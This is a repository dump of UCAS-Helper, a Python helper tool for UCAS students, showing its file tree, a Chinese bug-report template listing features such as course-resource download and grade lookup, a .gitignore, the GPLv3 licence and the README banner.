├── .github └── ISSUE_TEMPLATE │ └── bug---.md ├── .gitignore ├── LICENSE ├── README.md ├── accounts.json ├── conf ├── record.ini └── user_config.ini ├── core ├── __init__.py ├── assess.py ├── download.py ├── grade.py ├── login.py └── wifi.py ├── data ├── data.txt └── password.txt ├── docs ├── change_log.md ├── functions.md └── usage.md ├── handler ├── __init__.py ├── configer.py ├── exception.py ├── logger.py ├── new_ui.py └── ui.py ├── img ├── 1-1.png ├── 1-2.png ├── 1-3.png ├── 1-4.png ├── 1.5.0-1.png ├── 1.5.0-2.png ├── 1.6.0.png ├── 1.7.0.png ├── 2-1.png ├── 3-1.png ├── 4-1.png ├── 5-1.png ├── 5-2.png └── fix_1.4.3-1.png ├── requirements.txt ├── settings.py ├── ucashelper.py └── util ├── __init__.py ├── functions.py └── ocr.py /.github/ISSUE_TEMPLATE/bug---.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug 报告 3 | about: 提交一个bug报告帮助项目改善 4 | title: 用一句话描述遇到的问题 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Bug描述** 11 | 请简短地描述你遇到的问题。 12 | 13 | **自查** 14 | 在提交问题前,请先确认以下几点。 15 | - 是否采用了最新的版本代码,检查自己采用的版本和github上版本是否一致 16 | - 是否严格按照了步骤进行了部署,有没有遗漏的地方 17 | > ⚠️目前由于本人精力原因,项目`master`分支已无力维护,请使用稳定版分支`v2`(已修改为默认分支) 18 | 19 | **出现问题的功能** 20 | - 资源下载 21 | - 自动评教(由于本人没有可评教课程,请邮件提供相关账号信息以供测评) 22 | - 成绩查询 23 | - ~~校园网登录/登出,账号破解~~(本人没有校园网环境,因此无法修复) 24 | - 其他 25 | 26 | **具体问题** 27 | 简单地描述你遇到的问题,例如**成功登录了sep,但没有跳转到课程资源下载界面**。 28 | 29 | **截图** 30 | 如果可以的话,请提供相关截图和报错信息,帮助快速诊断错误原因。 31 | 32 | **问题反馈时间** 33 | 问题提交后一般会在24小时内提供反馈,如果超时还没有,说明问题尚未解决或本人最近较忙没有时间处理,不过最终都会解决,请耐心等待。 34 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | MANIFEST 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | 39 | # Translations 40 | *.mo 41 | *.pot 42 | 43 | # Django stuff: 44 | *.log 45 | local_settings.py 46 | db.sqlite3 47 | 48 | # Flask stuff: 49 | instance/ 50 | .webassets-cache 51 | 52 | # MacOS 53 | .DS_Store 54 | 55 | # Jupyter Notebook 56 | .ipynb_checkpoints 57 | 58 | # ide config 59 | .vscode/ 60 | .idea/ 61 | 62 | # Environments 63 | .env 64 | .venv 65 | env/ 66 | venv/ 67 | ENV/ 68 | env.bak/ 69 | venv.bak/ 70 | 71 | .idea 72 | *.un~ 73 | 74 | accounts* 75 | conf/ 76 | 77 | log/ -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # UCAS Helper(一个让UCASer愉悦的小助手) 2 | [![Hits](https://hits.seeyoufarm.com/api/count/incr/badge.svg?url=https%3A%2F%2Fgithub.com%2FGentleCP%2FUCAS-Helper&count_bg=%2379C83D&title_bg=%23555555&icon=&icon_color=%23E7E7E7&title=hits&edge_flat=false)](https://hits.seeyoufarm.com) 3 | ![python version](https://img.shields.io/badge/python-3.5%2B-blue) 4 | ![demo version](https://img.shields.io/github/v/tag/GentleCP/UCAS-Helper?color=red) 5 | ![license](https://img.shields.io/badge/license-GNU%20v3-yellowgreen) 6 | ```angular2 7 | ********************************************************************************* 8 | ** # # ### # ### # # ### # ### ### #### ** 9 | ** # # # # # # # # # # # # # # # ** 10 | ** # # # # # #### #### ### # ### ### #### ** 11 | ** # # # ####### # # # # # # # # # ** 12 | ** ### ### ## ## ### # # ### ##### # ### # # ** 13 | ** copyright@GentleCP ** 14 | ** version: x.x.x ** 15 | ** github: 